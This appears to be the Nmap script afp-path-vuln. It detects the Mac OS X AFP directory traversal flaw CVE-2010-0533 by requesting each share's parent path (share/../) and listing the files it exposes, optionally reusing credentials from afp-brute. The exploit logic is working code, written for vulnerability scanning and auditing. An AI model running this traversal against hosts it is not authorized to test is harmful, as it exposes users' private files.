description = [[ Detects the Mac OS X AFP directory traversal vulnerability CVE-2010-0533 ]] --- -- @args afp.username The username to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials) -- @args afp.password The password to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials) -- --@output -- PORT STATE SERVICE -- 548/tcp open afp -- | afp-path-vuln: -- | Patrik Karlsson's Public Folder/../ (5 first items) -- | .bash_history -- | .bash_profile -- | .CFUserTextEncoding -- | .config/ -- | .crash_report_checksum -- | -- |_AFP path traversal (CVE-2010-0533): VULNERABLE -- -- Description -- ----------- -- This script attempt to iterate over all AFP shares on the remote host. -- For each share it attempts to access the parent directory by exploiting -- the directory traversal vulnerability as described in CVE-2010-0533. -- -- The script reports whether the system is vulnerable or not. In addition it -- lists the contents of the parent and child directories to a max depth of 2. -- -- When running in verbose mode, all items in the listed directories are shown. -- In non verbose mode, output is limited to the first 5 items. -- -- If the server is not vulnerable, the script will not return any information. -- -- -- For additional information: -- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0533 -- http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap -- http://support.apple.com/kb/HT1222 -- -- Version 0.3 -- -- Created 02/09/2010 - v0.1 - created by Patrik Karlsson as PoC for Apple -- Revised 05/03/2010 - v0.2 - cleaned up and added dependency to afp-brute and added support -- for credentials by argument or registry -- Revised 10/03/2010 - v0.3 - combined afp-path-exploit and afp-path-vuln into this script author = "Patrik Karlsson" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"vuln", "safe"} require 'shortport' require 'stdnse' require 'afp' dependencies = {"afp-brute"} portrule = shortport.portnumber(548, "tcp") --- This function processes the table returned by the Dir method of the Helper class -- -- @param tbl table containing the table as return from the Dir method -- @param max_count number containing the maximum items to return -- @param out table used when called recursively should be nil on first call -- @param count number with total amount of entries so far, nil at first call -- @return table suitable for stdnse.format_output local function processResponse( tbl, max_count, out, count ) local out = out or {} local count = count or 0 for _, v in ipairs(tbl) do if ( max_count and max_count > 0 and max_count <= count ) then break end if ( v.name ) then local sfx = ( v.type == 0x80 ) and "/" or "" table.insert(out, v.name .. sfx ) count = count + 1 elseif( type(v) == 'table' ) then local tmp = {} table.insert( out, tmp ) processResponse( v, max_count, tmp, count ) end end -- strip the outer table return out[1] end --- This function simply checks if the table contains a Directory Id (DID) of 2 -- The DID of the AFP sharepoint is always 2, but no child should have this DID -- -- @param tbl table containing the table as return from the Dir method -- @return true if host is vulnerable, false otherwise local function isVulnerable( tbl ) for _, v in ipairs(tbl) do -- if we got no v.id it's probably a container table if ( not(v.id) ) then if ( isVulnerable(v) ) then return true end end if ( v.id == 2 ) then return true end end return false end action = function(host, port) local status, response, shares local result = {} local afp_helper = afp.Helper:new() local args = nmap.registry.args local users = nmap.registry.afp or { ['nil'] = 'nil' } local vulnerable = false local MAX_FILES = 5 if ( args['afp.username'] ) then users = {} users[args['afp.username']] = args['afp.password'] end for username, password in pairs(users) do status, response = afp_helper:OpenSession(host, port) if ( not(status) ) then stdnse.print_debug(response) return end -- Attempt to use No User Authentication? if ( username ~= 'nil' ) then status, response = afp_helper:Login(username, password) else status, response = afp_helper:Login(nil, nil) end if ( not(status) ) then stdnse.print_debug("afp-path-vuln: Login failed", response) stdnse.print_debug(3, "afp-path-vuln: Login error: %s", response) return end status, shares = afp_helper:ListShares() for _, share in ipairs(shares) do local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } ) if ( not(status) ) then stdnse.print_debug(3, "afp-path-vuln: %s", response) else if ( isVulnerable( response ) ) then vulnerable = true if(nmap.verbosity() > 1) then response = processResponse( response ) response.name = share .. "/../" else response = processResponse( response, MAX_FILES ) response.name = share .. ("/../ (%d first items)"):format(MAX_FILES) end table.insert(result, response) end end end end if ( vulnerable ) then table.insert(result, "\n\nAFP path traversal (CVE-2010-0533): VULNERABLE") end return stdnse.format_output(true, result) end